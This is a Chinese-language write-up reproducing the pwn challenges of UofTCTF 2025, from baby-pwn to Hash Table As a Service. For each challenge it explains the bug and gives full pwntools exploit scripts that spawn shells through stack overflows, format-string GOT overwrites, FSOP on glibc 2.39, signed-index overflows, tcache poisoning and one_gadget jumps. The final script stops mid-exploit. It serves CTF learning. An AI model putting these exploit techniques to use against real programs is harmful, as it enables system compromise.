UoftCTF2025 pwn方向复现

附件地址:https://r3kapig-not1on.notion.site/UofTCTF-2025-Jeopardy-17aec1515fb9803bb664e290f67166c9

baby-pwn

签到题

栈溢出到后门函数就行,注意下amd64的16字节对齐就行

exp

from pwn import *
context(arch="amd64",os="linux",log_level='debug')
io=process("./baby-pwn")
io.recvuntil(b"Enter some text: ")
ret=0x40101a

payload= b'A'*72 +p64(ret)+p64(0x401166)
io.sendline(payload)
io.interactive()

baby-pwn-2

同样是签到题难度,泄露了栈内存的地址,直接写shellcraft就行,最后利用栈溢出覆盖返回地址到这个泄漏的地址上

不过这里不用shellcraft.sh()的原因是给的地址到rbp的距离空间太小了,shellcraft.sh()的push次数太多,会让rsp上移到布置shellcode的位置

exp

from pwn import *
context(arch='amd64', os='linux')
binary = './baby-pwn-2'  
elf = ELF(binary)
io = process(binary)
io.recvline() 
leaked_address = int(io.recvline().decode().split(":")[1].strip(), 16)
print(hex(leaked_address))             
shellcode=asm(shellcraft.execve('/bin/sh', 0, 0))
print(shellcraft.execve('/bin/sh', 0, 0))
payload = shellcode.ljust(64, b'a') 
payload += b'a' * 8  
payload += p64(leaked_address)
io.sendline(payload)
io.interactive()

echo

栈溢出+格式化字符串

buf占用1个字节,canary在rbp-8h处

在printf下个断点调试看看

观察到rbp+8h处的返回地址写着0x555555555275 (main+44),写入的内容从rbp-9h处开始,1字节作为format参数,剩下的内容从rbp-8h处开始存,可以知道0x555555555275是在printf的第9个格式化字符串槽位(6+3),同时还可以知道在没有随机化的情况下main函数的真实地址是0x555555555275-44(偏移)=0x555555555249

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size  Offset File (set vmmap-prefer-relpaths on)
    0x555555554000     0x555555555000 r--p     1000       0 chall
    0x555555555000     0x555555556000 r-xp     1000    1000 chall
    0x555555556000     0x555555557000 r--p     1000    2000 chall
    0x555555557000     0x555555558000 r--p     1000    2000 chall
    0x555555558000     0x555555559000 rw-p     1000    3000 chall
    0x7ffff7c00000     0x7ffff7c28000 r--p    28000       0 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7c28000     0x7ffff7dbd000 r-xp   195000   28000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7dbd000     0x7ffff7e15000 r--p    58000  1bd000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7e15000     0x7ffff7e16000 ---p     1000  215000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7e16000     0x7ffff7e1a000 r--p     4000  215000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7e1a000     0x7ffff7e1c000 rw-p     2000  219000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7e1c000     0x7ffff7e29000 rw-p     d000       0 [anon_7ffff7e1c]
    0x7ffff7fa8000     0x7ffff7fab000 rw-p     3000       0 [anon_7ffff7fa8]
    0x7ffff7fbb000     0x7ffff7fbd000 rw-p     2000       0 [anon_7ffff7fbb]
    0x7ffff7fbd000     0x7ffff7fc1000 r--p     4000       0 [vvar]
    0x7ffff7fc1000     0x7ffff7fc3000 r-xp     2000       0 [vdso]
    0x7ffff7fc3000     0x7ffff7fc5000 r--p     2000       0 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7fc5000     0x7ffff7fef000 r-xp    2a000    2000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7fef000     0x7ffff7ffa000 r--p     b000   2c000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7ffb000     0x7ffff7ffd000 r--p     2000   37000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7ffd000     0x7ffff7fff000 rw-p     2000   39000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffffffde000     0x7ffffffff000 rw-p    21000       0 [stack]
0xffffffffff600000 0xffffffffff601000 --xp     1000       0 [vsyscall]

由于系统分配的栈地址前缀都相同,思路就是先利用栈溢出把第九个槽位的地址覆盖为为stack_chk_fail的got表地址,再用格式化字符串漏洞把这个槽位里的地址的末位改成main函数的地址末位,就可以把stack_chk_fail的got表的调用改成调用main函数了,接着检查canary触发stack_chk_fai,返回main函数,再进行第二次格式化字符串漏洞利用,泄露main函数地址,减去偏移得到pie基址,接着再触发canary检查返回main函数,第三次使用格式化字符串漏洞泄露read函数地址,进而拿到libc基地址,最后通过fmtstr_payload把printf的got表修改为system拿shell就行

拿到stack_chk_fail的偏移0x4018

即没有随机化的地址是stack_chk_fail0x555555558018,取末位8018,以小端序的形式写入栈中

exp

from pwn import *

context(os='linux', arch='amd64')
context.log_level = 'debug'

elf  = ELF("./chall", checksec=False)

attempt = 0
while True:
    attempt += 1
    try:
        log.info(f"=== attempt #{attempt} ===")
        io = process("./chall")
        libc = elf.libc

        buf  = b"%21065c%9$hn"
        buf += b"A"*(0x11 - len(buf))
        buf += b"\x18\x80"
        io.send(buf)

        # pie leak
        sleep(0.5)
        buf = b"%9$p"
        io.sendline(buf)
        io.recvuntil(b"0x")
        pie_leak = int(io.recvuntil(b"\n"), 16)
        pie_base = pie_leak - 0x1275
        print("pie_leak =", hex(pie_leak))
        print("pie_base =", hex(pie_base))
        io.recvn(10)

        # libc leak
        buf = b"%8$s"
        buf += b"A"*(0x9 - len(buf))
        buf += p64(pie_base + elf.got.read)
        io.sendline(buf)
        read_addr = u64(io.recvn(6) + b"\x00\x00")
        libc_base = read_addr - libc.sym.read
        print("read_addr =", hex(read_addr))
        print("libc_base =", hex(libc_base))

        index = 7
        system_addr = libc_base + libc.sym.system
        writes = {pie_base + elf.got.printf: system_addr}
        buf = b"A"
        buf += fmtstr_payload(index, writes, numbwritten=1, write_size='byte')
        io.sendline(buf)
        io.send(b"/bin/sh\x00")

        io.interactive()
        break

    except KeyboardInterrupt:
        raise
    except Exception as e:
        try:
            io.close()
        except:
            pass
        log.warning(f"attempt #{attempt} failed: {e}")
        continue

由于需要运行时脚本中的地址都是在b”%21065c%9$hn”的基础上算的,所以实际运行的地址低4位必须匹配这个才能打通,每次运行成功的概率为2的4次方=1/16,所以我加了一个失败重试的循环

Book Editor

一道堆菜单题目,这里booksize是无符号数,并且malloc没有错误检查

发送 -1
bookSize = -1 → 0xffffffffffffffff
malloc 失败,book = NULL

但程序继续运行

再看editbook函数

read(0, (char *)book + v1, -v1 + bookSize - 1)

这里book如果等于null且booksize非常大,那么book + v1就相等于v1,v1又由我们控制输入,相当于可以实现任意地址读入任意数据

接着利用这点可以在book的全局变量地址处覆盖为puts的got表,现在:book = GOT.puts

再用read()读book,通过 printf(“%s”, book) 泄露出puts got处的内容(puts的真实地址),借此计算 libc 基址

进而可以得到IO_2_1_stdout和system的真实地址

可以再用edit()覆盖book处为IO_2_1_stdout的地址,现在 book 指向了 stdout FILE 结构

接着打FSOP,用edit()来编辑stdout FILE的内容

我这里用到的glibc版本是2.39

exp

from pwn import *

context(os='linux', arch='amd64')
context.log_level = 'debug'

BINARY = "./chall"
elf  = ELF(BINARY, checksec=False)

io= process(BINARY)
libc = elf.libc  

def debug(cmd=''):
    gdb.attach(io,cmd)
    pause()
   
def Edit1(pos, data):
  io.sendlineafter(b"> ", b"1")
  io.sendlineafter(b"edit: ", str(pos).encode())
  io.recvuntil(b": ")
  io.recvn(10)
  io.sendline(data)
  
def Edit2(pos, data):
  io.sendlineafter(b"> ", b"1")
  io.sendlineafter(b"edit: ", str(pos).encode())
  io.recvuntil(b": ")
  io.recvn(7)
  io.sendline(data)  

def Read():
  io.sendlineafter(b"> ", b"2")

def Exit():
  io.sendline(b"3")

io.sendlineafter(b"be: ", str(-1).encode())
io.sendlineafter(b"book: ", b"A"*0x10)


Edit1(elf.sym.book, p64(elf.got.puts)+p64(0x10000))


Read()
io.recvuntil(b"book: ")
puts_addr = u64(io.recvn(6)+b"\x00\x00")



libc_base = puts_addr - libc.sym.puts
print("puts_addr =", hex(puts_addr))

print("libc_base =", hex(libc_base))

stdout_addr = libc_base + libc.sym._IO_2_1_stdout_


Edit1(elf.sym.book-elf.got.puts, p64(stdout_addr))

# FSOP
buf  = p32(0xfbad0101) + b";sh\0"
buf += p64(0) * 10
buf += p64(libc_base + libc.sym.system)
buf += p64(0) * 5
buf += p64(libc_base + 0x205700)
buf += p64(0) * 2
buf += p64(libc_base + libc.sym._IO_2_1_stdout_ - 0x10)
buf += p64(0) * 3
buf += p32(1) + p32(0) + p64(0)
buf += p64(libc_base + libc.sym._IO_2_1_stdout_ - 0x10)
buf += p64(libc_base + libc.sym._IO_wfile_jumps + 0x18 - 0x58)
Edit2(0, buf)

# start system("sh")
Exit()

io.interactive() 

                       构造的 _IO_FILE 结构                             


[偏移]  [字段名称]              [大小] [值]                [用途]
──────────────────────────────────────────────

0x00    _flags                  4字节  0xfbad0101        ← 魔数+标志
0x04    命令字符串              4字节  ";sh\0"           ← shell 命令
                                      
0x08    _IO_read_ptr            8字节  0x0000000000000000
0x10    _IO_read_end            8字节  0x0000000000000000
0x18    _IO_write_ptr           8字节  0x0000000000000000
0x20    _IO_write_end           8字节  0x0000000000000000
0x28    _IO_buf_base            8字节  0x0000000000000000
0x30    _IO_buf_end             8字节  0x0000000000000000
0x38    _IO_save_base           8字节  0x0000000000000000
0x40    _IO_backup_base         8字节  0x0000000000000000
0x48    _IO_save_end            8字节  0x0000000000000000
0x50    _IO_marker              8字节  0x0000000000000000
0x58    系统函数指针  SYSTEM    8字节  0x7ffff7c50d80    ← system 地址
0x60    _IO_wide_data           8字节  0x0000000000000000
0x68    _IO_codecvt             8字节  0x0000000000000000
0x70    _IO_widebuf_base        8字节  0x0000000000000000
0x78    _IO_widebuf_end         8字节  0x0000000000000000
0x80    _IO_widebuf_ptr         8字节  0x0000000000000000
0x88    链表/特殊指针            8字节  0x7ffff7de5700    ← stdout-0x10
0x90    填充                     16字节 0x0000000000000000

0xa0    _IO_lock_t              8字节  0x7ffff7de5550    ← stdout-0x10
0xa8    填充                     24字节 0x0000000000000000

0xc0    _mode                   4字节  0x00000001        ← 宽字符模式
0xc4    _unused2                4字节  0x00000000
0xc8    填充                     8字节  0x0000000000000000

0xd0    _chain / _next_chain    8字节  0x7ffff7de5550    ← stdout-0x10
0xd8    vtable 指针  VTABLE     8字节  0x7ffff7de4e28    ← 虚函数表地址

Counting Sort

sort函数,实现一个输入并计数,然后按照计数重复输出字符的功能,分配了一个272字节的数组V9,但是这里实际上只用到256个字节,使V7作为数组开头的指针,并且没有对输入的内容做检查

再之后会对输入的内容遍历,在数组字符对应的位置地址的值+1

看汇编这里输入的地方存在符号扩展,用的是有符号 char 当下标

signed char 的语境下,所有输入的 0x80 ~ 0xFF 的字节,都会被当成负数

那么就可以利用这点,使得可以对V9数组之前的字节进行操作,造成数组溢出

看下当前sort函数的rbp附近

pwndbg> x/20gx $rbp
0x7fffffffdd70:	0x00007fffffffdd80	0x00005555555554bc
0x7fffffffdd80:	0x00007fffffffde20	0x00007ffff7c2a1ca
0x7fffffffdd90:	0x00007fffffffddd0	0x00007fffffffdea8
0x7fffffffdda0:	0x0000000155554040	0x00005555555554a0
0x7fffffffddb0:	0x00007fffffffdea8	0x1d13f5c82dfa6c7b
0x7fffffffddc0:	0x0000000000000001	0x0000000000000000
0x7fffffffddd0:	0x0000555555557d98	0x00007ffff7ffd000
0x7fffffffdde0:	0x1d13f5c82a9a6c7b	0x1d13e5b2d2b86c7b
0x7fffffffddf0:	0x00007fff00000000	0x0000000000000000
0x7fffffffde00:	0x0000000000000000	0x0000000000000001

注意到rbp存的是main的save rbp:0x00007fffffffdd80,而main的save rbp处存的又是libc_start_call_main的save rbp:0x00007fffffffde20(伏笔)

返回地址是main+28

pwndbg> x/20i 0x00005555555554bc
   0x5555555554bc <main+28>:	mov    eax,0x0
   0x5555555554c1 <main+33>:	pop    rbp
   0x5555555554c2 <main+34>:	ret
   0x5555555554c3:	add    bl,dh
   0x5555555554c5 <_fini+1>:	nop    edx
   0x5555555554c8 <_fini+4>:	sub    rsp,0x8
   0x5555555554cc <_fini+8>:	add    rsp,0x8
   0x5555555554d0 <_fini+12>:	ret
   0x5555555554d1:	add    BYTE PTR [rax],al
   0x5555555554d3:	add    BYTE PTR [rax],al
   0x5555555554d5:	add    BYTE PTR [rax],al
   0x5555555554d7:	add    BYTE PTR [rax],al
   0x5555555554d9:	add    BYTE PTR [rax],al
   0x5555555554db:	add    BYTE PTR [rax],al
   0x5555555554dd:	add    BYTE PTR [rax],al
   0x5555555554df:	add    BYTE PTR [rax],al
   0x5555555554e1:	add    BYTE PTR [rax],al
   0x5555555554e3:	add    BYTE PTR [rax],al
   0x5555555554e5:	add    BYTE PTR [rax],al
   0x5555555554e7:	add    BYTE PTR [rax],al

注意到rbp+0x18的位置还存着<__libc_start_call_main+122>

pwndbg> x/20i  0x7ffff7c2a1ca
   0x7ffff7c2a1ca <__libc_start_call_main+122>:	mov    edi,eax
   0x7ffff7c2a1cc <__libc_start_call_main+124>:	call   0x7ffff7c47ba0 <__GI_exit>
   0x7ffff7c2a1d1 <__libc_start_call_main+129>:	call   0x7ffff7c99290 <__GI___nptl_deallocate_tsd>
   0x7ffff7c2a1d6 <__libc_start_call_main+134>:	
    lock sub DWORD PTR [rip+0x1d8ef2],0x1        # 0x7ffff7e030d0 <__nptl_nthreads>
   0x7ffff7c2a1de <__libc_start_call_main+142>:	je     0x7ffff7c2a1f0 <__libc_start_call_main+160>
   0x7ffff7c2a1e0 <__libc_start_call_main+144>:	mov    edx,0x3c
   0x7ffff7c2a1e5 <__libc_start_call_main+149>:	nop    DWORD PTR [rax]
   0x7ffff7c2a1e8 <__libc_start_call_main+152>:	xor    edi,edi
   0x7ffff7c2a1ea <__libc_start_call_main+154>:	mov    eax,edx
   0x7ffff7c2a1ec <__libc_start_call_main+156>:	syscall
   0x7ffff7c2a1ee <__libc_start_call_main+158>:	jmp    0x7ffff7c2a1e8 <__libc_start_call_main+152>
   0x7ffff7c2a1f0 <__libc_start_call_main+160>:	xor    eax,eax
   0x7ffff7c2a1f2 <__libc_start_call_main+162>:	jmp    0x7ffff7c2a1ca <__libc_start_call_main+122>
   0x7ffff7c2a1f4:	data16 cs nop WORD PTR [rax+rax*1+0x0]
   0x7ffff7c2a1ff:	nop
   0x7ffff7c2a200 <__libc_start_main_impl>:	endbr64
   0x7ffff7c2a204 <__libc_start_main_impl+4>:	push   rbp
   0x7ffff7c2a205 <__libc_start_main_impl+5>:	mov    rbp,rsp
   0x7ffff7c2a208 <__libc_start_main_impl+8>:	push   r15
   0x7ffff7c2a20a <__libc_start_main_impl+10>:	mov    r15,rcx

再看下main函数附近

pwndbg> x/10i &main
   0x5555555554a0 <main>:	endbr64
   0x5555555554a4 <main+4>:	push   rbp
   0x5555555554a5 <main+5>:	mov    rbp,rsp
=> 0x5555555554a8 <main+8>:	mov    eax,0x0
   0x5555555554ad <main+13>:	call   0x5555555551e9 <setup>
   0x5555555554b2 <main+18>:	mov    eax,0x0
   0x5555555554b7 <main+23>:	call   0x555555555230 <sort>
   0x5555555554bc <main+28>:	mov    eax,0x0
   0x5555555554c1 <main+33>:	pop    rbp
   0x5555555554c2 <main+34>:	ret

那么我们可以利用先前的漏洞去改写V9数组之前的指针V7,使它指向的数组开头移到rbp的附近,进而改写返回地址,可以改写成<main+5>,这样就可以造成循环,sort结束后返回<main+5>,继续进到sort

具体的思路,v7的位置是rbp-120h,指向的v9是rbp-110h,按顺序连续输入0xf0~0xe1的字符,符号扩展会解析为-16~-31

通过v0 = (char )v9 + buf[i]; ++v0的递归一直打向v7所在的位置,使它的最低字节一直 +1,可以使v7指向rbp – 0x100,再发送一次0xe1,可以把v7指向的「第二个字节」+1,使得数组位置直接+0x100,刚刚好到达rbp,接着继续利用v0 = (char )v9 + buf[i]; ++v0对rbp+8的返回地址进行改写操作,改到sort函数前面

也就是main+5的位置,(如果改到main+0main+4,又会执行一遍 push rbp,栈就乱了(多压了一层 rbp,返回链会炸)

接着从已经打印出的字符中计数,对于每个字符 c,它被打印的次数组成对应的各个地址

借此泄露libc_start_call_main+122,再利用偏移得到libc基址

看下vmmap

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size  Offset File (set vmmap-prefer-relpaths on)
    0x555555554000     0x555555555000 r--p     1000       0 chall
    0x555555555000     0x555555556000 r-xp     1000    1000 chall
    0x555555556000     0x555555557000 r--p     1000    2000 chall
    0x555555557000     0x555555558000 r--p     1000    2000 chall
    0x555555558000     0x555555559000 rw-p     1000    3000 chall
    0x7ffff7c00000     0x7ffff7c28000 r--p    28000       0 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7c28000     0x7ffff7db0000 r-xp   188000   28000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7db0000     0x7ffff7dff000 r--p    4f000  1b0000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7dff000     0x7ffff7e03000 r--p     4000  1fe000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7e03000     0x7ffff7e05000 rw-p     2000  202000 /usr/lib/x86_64-linux-gnu/libc.so.6
    0x7ffff7e05000     0x7ffff7e12000 rw-p     d000       0 [anon_7ffff7e05]
    0x7ffff7fa8000     0x7ffff7fab000 rw-p     3000       0 [anon_7ffff7fa8]
    0x7ffff7fbd000     0x7ffff7fbf000 rw-p     2000       0 [anon_7ffff7fbd]
    0x7ffff7fbf000     0x7ffff7fc1000 r--p     2000       0 [vvar]
    0x7ffff7fc1000     0x7ffff7fc3000 r--p     2000       0 [vvar_vclock]
    0x7ffff7fc3000     0x7ffff7fc5000 r-xp     2000       0 [vdso]
    0x7ffff7fc5000     0x7ffff7fc6000 r--p     1000       0 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7fc6000     0x7ffff7ff1000 r-xp    2b000    1000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7ff1000     0x7ffff7ffb000 r--p     a000   2c000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7ffb000     0x7ffff7ffd000 r--p     2000   36000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7ffd000     0x7ffff7fff000 rw-p     2000   38000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffffffde000     0x7ffffffff000 rw-p    21000       0 [stack]
0xffffffffff600000 0xffffffffff601000 --xp     1000       0 [vsyscall]

得到libc在内存里的0x7ffff7c00000 基址,算偏移:0x7ffff7c2a1ca – 0x7ffff7c00000= 0x2a1ca

拿到libc基址后,接着sort结束返回,进行第二次sort,可以借助one_gadget工具来打,我这里用的本地libc打的(glibc2.39)

找到个简单的条件,要求[[rbp-0x78]] == NULL || [rbp-0x78] == NULL || [rbp-0x78] is a valid envp

我们先看下<__libc_start_call_main>这里

pwndbg> x/80i 0x7FFFF7C2A150
   0x7ffff7c2a150 <__libc_start_call_main>:	push   rbp
   0x7ffff7c2a151 <__libc_start_call_main+1>:	mov    rbp,rsp
   0x7ffff7c2a154 <__libc_start_call_main+4>:	sub    rsp,0x90
   0x7ffff7c2a15b <__libc_start_call_main+11>:	mov    QWORD PTR [rbp-0x78],rdi
   0x7ffff7c2a15f <__libc_start_call_main+15>:	lea    rdi,[rbp-0x70]
   0x7ffff7c2a163 <__libc_start_call_main+19>:	mov    DWORD PTR [rbp-0x7c],esi
   0x7ffff7c2a166 <__libc_start_call_main+22>:	mov    QWORD PTR [rbp-0x88],rdx
   0x7ffff7c2a16d <__libc_start_call_main+29>:	mov    rax,QWORD PTR fs:0x28
   0x7ffff7c2a176 <__libc_start_call_main+38>:	mov    QWORD PTR [rbp-0x8],rax
   0x7ffff7c2a17a <__libc_start_call_main+42>:	xor    eax,eax
   0x7ffff7c2a17c <__libc_start_call_main+44>:	
    call   0x7ffff7c44fa0 <__GI__setjmp>
   0x7ffff7c2a181 <__libc_start_call_main+49>:	endbr64
   0x7ffff7c2a185 <__libc_start_call_main+53>:	test   eax,eax
   0x7ffff7c2a187 <__libc_start_call_main+55>:	
    jne    0x7ffff7c2a1d1 <__libc_start_call_main+129>
   0x7ffff7c2a189 <__libc_start_call_main+57>:	mov    rax,QWORD PTR fs:0x300
   0x7ffff7c2a192 <__libc_start_call_main+66>:	mov    QWORD PTR [rbp-0x28],rax
   0x7ffff7c2a196 <__libc_start_call_main+70>:	mov    rax,QWORD PTR fs:0x2f8
   0x7ffff7c2a19f <__libc_start_call_main+79>:	mov    QWORD PTR [rbp-0x20],rax
   0x7ffff7c2a1a3 <__libc_start_call_main+83>:	lea    rax,[rbp-0x70]
   0x7ffff7c2a1a7 <__libc_start_call_main+87>:	mov    QWORD PTR fs:0x300,rax
   0x7ffff7c2a1b0 <__libc_start_call_main+96>:	
    mov    rax,QWORD PTR [rip+0x1d8de9]        # 0x7ffff7e02fa0
   0x7ffff7c2a1b7 <__libc_start_call_main+103>:	mov    rsi,QWORD PTR [rbp-0x88]
   0x7ffff7c2a1be <__libc_start_call_main+110>:	mov    edi,DWORD PTR [rbp-0x7c]
   0x7ffff7c2a1c1 <__libc_start_call_main+113>:	mov    rdx,QWORD PTR [rax]
   0x7ffff7c2a1c4 <__libc_start_call_main+116>:	mov    rax,QWORD PTR [rbp-0x78]
   0x7ffff7c2a1c8 <__libc_start_call_main+120>:	call   rax
   0x7ffff7c2a1ca <__libc_start_call_main+122>:	mov    edi,eax

观察到<__libc_start_call_main+120>: call rax执行main函数,然后会返回到<__libc_start_call_main+122>,而<__libc_start_call_main+122>我们刚好也可以改写

那么我们和第一次进到sort函数一样,先把数组指针指到rbp,然后把<__libc_start_call_main+122>改成one_gadget

注意上面提到的伏笔,我们知道了libc_start_call_main的save rbp:0x00007fffffffde20,要满足onegadget的条件,就要让这个rbp-0x78指向0

0x7fffffffde20 – 0x78 = 0x7fffffffdda8

pwndbg> x/20gx 0x7fffffffdda0
0x7fffffffdda0:	0x0000000155554040	0x00005555555554a0
                                       ^ 这里就是 [0x7fffffffdda8]
0x7fffffffddb0:	0x00007fffffffdea8	0xf11cf4bd706c8515
0x7fffffffddc0:	0x0000000000000001	0x0000000000000000
0x7fffffffddd0:	0x0000555555557d98	0x00007ffff7ffd000
0x7fffffffdde0:	0xf11cf4bd770c8515	0xf11ce4c78f2e8515
0x7fffffffddf0:	0x00007fff00000000	0x0000000000000000
0x7fffffffde00:	0x0000000000000000	0x0000000000000001
0x7fffffffde10:	0x00007fffffffdea0	0x8250bf18b0ea0900
0x7fffffffde20:	0x00007fffffffde80	0x00007ffff7c2a28b
0x7fffffffde30:	0x00007fffffffdeb8	0x0000555555557d98

所以最终exp构造如下

from pwn import *

context(os='linux', arch='amd64')
#context.log_level = 'debug'

BINARY = "./chall"
elf  = ELF(BINARY, checksec=False)

io = process(BINARY)
libc = elf.libc  

def debug(cmd=""):
    gdb.attach(io,cmd)
    
def Get_addr(pos):
  addr = 0
  cnt = 0
  for j in range(6):
    p0 = pos + j
    io.recvuntil(p0.to_bytes())
    for i in range(0x100):
      b = io.recvn(1)
      cnt += 1 
      if b != p0.to_bytes():
        break
    addr += (cnt)<<(8*j)
    cnt = 1
  return addr

def Change_address(pos, before, after):
  buf = b""
  for i in range(3):
    p0 = pos + i
    c0 = ((after>>(8*i))&0xff) - ((before>>(8*i))&0xff)
    if c0 < 0:
      c0 += 0x100
    if i == 0:
      c0 -= 1  
    buf += p0.to_bytes()*c0
  return buf  
 
 
 

# Change return address to (main+5)
buf = b""
for i in range(0x10):
  a = 0xf0-i
  buf += a.to_bytes()
print(buf)
io.send(buf+b"\xe1"+b"\x08"*(0x1a5-0xbc))


# stack leak
stack_leak = Get_addr(0x10)
print("stack_leak =", hex(stack_leak))
# libc leak (__libc_start_call_main+122)
libc_leak = Get_addr(0x18)
libc_base = libc_leak - 0x2a1c9
print("libc_leak  =", hex(libc_leak))
print("libc_base  =", hex(libc_base))
io.recvuntil(b"\xa0")

one_gadget = libc_base + 0xef52b # 0xef52b execve("/bin/sh", rbp-0x50, [rbp-0x78])

# Change __libc_start_call_main+122 => one_gadget
buf = b""
for i in range(0x10):
  a = 0xf0-i
  buf += a.to_bytes()
buf += b"\xe1"
buf += b"\x10"*0x30 # for [rbp-0x78] == NULL
buf += Change_address(0x18, libc_leak, one_gadget)

io.send(buf)

io.interactive()  


Hash Table As a Service

pwndbg> vmmap
LEGEND: STACK | HEAP | CODE | DATA | WX | RODATA
             Start                End Perm     Size  Offset File (set vmmap-prefer-relpaths on)
    0x555555554000     0x555555555000 r--p     1000       0 chall
    0x555555555000     0x555555556000 r-xp     1000    1000 chall
    0x555555556000     0x555555557000 r--p     1000    2000 chall
    0x555555557000     0x555555558000 r--p     1000    2000 chall
    0x555555558000     0x555555559000 rw-p     1000    3000 chall
    0x555555559000     0x55555555a000 rw-p     1000    5000 chall
    0x7ffff7c00000     0x7ffff7c28000 r--p    28000       0 libc.so.6
    0x7ffff7c28000     0x7ffff7db0000 r-xp   188000   28000 libc.so.6
    0x7ffff7db0000     0x7ffff7dff000 r--p    4f000  1b0000 libc.so.6
    0x7ffff7dff000     0x7ffff7e03000 r--p     4000  1fe000 libc.so.6
    0x7ffff7e03000     0x7ffff7e05000 rw-p     2000  202000 libc.so.6
    0x7ffff7e05000     0x7ffff7e12000 rw-p     d000       0 [anon_7ffff7e05]
    0x7ffff7fba000     0x7ffff7fbf000 rw-p     5000       0 [anon_7ffff7fba]
    0x7ffff7fbf000     0x7ffff7fc1000 r--p     2000       0 [vvar]
    0x7ffff7fc1000     0x7ffff7fc3000 r--p     2000       0 [vvar_vclock]
    0x7ffff7fc3000     0x7ffff7fc5000 r-xp     2000       0 [vdso]
    0x7ffff7fc5000     0x7ffff7fc6000 r--p     1000       0 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7fc6000     0x7ffff7ff1000 r-xp    2b000    1000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7ff1000     0x7ffff7ffb000 r--p     a000   2c000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7ffb000     0x7ffff7ffd000 r--p     2000   36000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffff7ffd000     0x7ffff7fff000 rw-p     2000   38000 /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
    0x7ffffffde000     0x7ffffffff000 rw-p    21000       0 [stack]
0xffffffffff600000 0xffffffffff601000 --xp     1000       0 [vsyscall]

可以先利用Hash 冲突跨越user区写到top chunk的prev size区,先把top chunk size改了,再申请新的堆,大小接近top chunk的大小,制造出unsortedbin,利用指针泄露出libc的main area地址,减去偏移得到libc基址,再创建tcachebin,泄露heap,

接着进行tcache投毒,再改到 environ-偏移Get栈地址

最后覆写返回地址

用大 key 精准踩到 saved RIP,写入 one_gadget = libc_base + 0x583dc

Exit() 返回 ⇒ 命中 gadget ⇒ 拿 shell

wyh@wyh-VMware-Virtual-Platform:~/桌面/uoftctf d$ one_gadget libc.so.6 
0x583dc posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
constraints:
  address rsp+0x68 is writable
  rsp & 0xf == 0
  rax == NULL || {"sh", rax, rip+0x17302e, r12, ...} is a valid argv
  rbx == NULL || (u16)[rbx] == NULL

0x583e3 posix_spawn(rsp+0xc, "/bin/sh", 0, rbx, rsp+0x50, environ)
constraints:
  address rsp+0x68 is writable
  rsp & 0xf == 0
  rcx == NULL || {rcx, rax, rip+0x17302e, r12, ...} is a valid argv
  rbx == NULL || (u16)[rbx] == NULL

0xef4ce execve("/bin/sh", rbp-0x50, r12)
constraints:
  address rbp-0x48 is writable
  rbx == NULL || {"/bin/sh", rbx, NULL} is a valid argv
  [r12] == NULL || r12 == NULL || r12 is a valid envp

0xef52b execve("/bin/sh", rbp-0x50, [rbp-0x78])
constraints:
  address rbp-0x50 is writable
  rax == NULL || {"/bin/sh", rax, NULL} is a valid argv
  [[rbp-0x78]] == NULL || [rbp-0x78] == NULL || [rbp-0x78] is a valid envp

exp

#!/usr/bin/env python3
# Local Ubuntu 24.04

from pwn import *

context(os='linux', arch='amd64')
# context.log_level = 'error'  # keep quiet; uncomment for troubleshooting

BINARY = "./chall"
elf  = ELF(BINARY, checksec=False)
libc = ELF("./libc.so.6", checksec=False)

def run_once():
    """
    Run the original exploit logic once against a fresh process.
    Return a live tube if shell is obtained; otherwise None.
    """
    io = process(BINARY)
    io.timeout = 2.0  # avoid hanging forever on recv

    # --- keep original helpers but bind to this io ---
    def New(idx, size):
        io.sendlineafter(b"> ", b"1")
        io.sendlineafter(b": ", str(idx).encode())
        io.sendlineafter(b": ", str(size).encode())

    def Set(idx, key, value):
        io.sendlineafter(b"> ", b"2")
        io.sendlineafter(b": ", str(idx).encode())
        io.sendlineafter(b": ", str(key).encode())
        io.sendafter(b": ", value)

    def Get(idx, key):
        io.sendlineafter(b"> ", b"3")
        io.sendlineafter(b": ", str(idx).encode())
        io.sendlineafter(b": ", str(key).encode())

    def Exit():
        io.sendlineafter(b"> ", b"4")

    try:
        # 程序想用 0x24 字节数组,但 glibc 实际只给了 0x20 字节的 user 区 

        New(0, 3)
        Set(0, 3, b"A"*8)
        Set(0, 1, b"B"*8)
        Set(0, 2, b"C"*8)
        Set(0, 0, p64(0xd41))

        # make unsortedbin
        New(1, 0xd41//0xc)

        # libc leak
        New(2, 3)
        Set(2, 3, b"A"*8)
        Set(2, 6, b"B"*8)
        Set(2, 9, b"C"*8)

        New(3, 4)
        Set(3, 3, b"A"*8)
